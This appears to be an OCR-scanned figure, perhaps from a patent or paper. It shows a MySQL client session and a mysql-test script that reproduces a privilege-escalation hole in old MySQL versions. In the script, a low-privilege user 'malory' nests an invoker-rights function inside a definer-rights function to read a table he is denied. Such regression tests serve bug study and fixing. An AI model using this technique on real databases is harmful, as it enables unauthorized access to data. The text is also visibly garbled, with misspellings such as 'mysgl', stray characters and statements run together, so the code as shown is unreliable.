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OO0 1000000 $mysgl -h my.mysgl.server -u sample -p -A
sampleEnter password: Welcome to the MySQL monitor.
Commands end with . or \g.Your MySQL connection id is 263935 to
server version: 4.1.16-standardmysql> create database
another.ERROR 1044: Access denied for user sample@9% to database
anothermysql> create database sAmple. Query OK, 1 row affected
(0.00sec) 200 O O OO O --disable_warningsOdrop database if exists
mysqltest1.0drop database if exists mysqltest2.0drop function if exists
f suid.--enable_warnings# Prepare playgroundcreate database
mysqltestl.create database mysqltest2.create user
malory@localhost.grant all privileges on mysqltest1.* to
malory@localhost.# Create harmless (but SUID!) functioncreate



function f_suid(i int) returns int return 0.grant execute on function
test.f suid to malory@localhost.use mysqltest2.# Create table in
which malory@Iocalhost will be interested but to which# he wont
have any accesscreate table t1 (i int).connect (malcon, localhost,
malory,,mysqltestl).# Correct malory@localhost dont have access to
mysqltest2.t1--error ER_ TABLEACCESS DENIED ERROROselect
* from mysqltest2.t1.# Create function which will allow to exploit
security holedelimiter |.create function f_evil ()returns intsgl security
Invokerbeginset @a:= current_user().set @b:= (Oselect count(*)
from mysqltest2.t1).return 0.end|delimiter .|# Again correct--error
ER_TABLEACCESS DENIED ERROROselectf evil().0Oselect @a,
@b.# Oops!!! it seems that f_evil() is executed in the context of#

f suid() definer, so malory@locahost gets all info that he
wantsOselect test.f suid(f_evil()).0select @a, @b.connection
default.0drop user malory@localhost.0drop database
mysqltestl.0drop database mysqgltest2. 100Test U 0O O O 0O O O O
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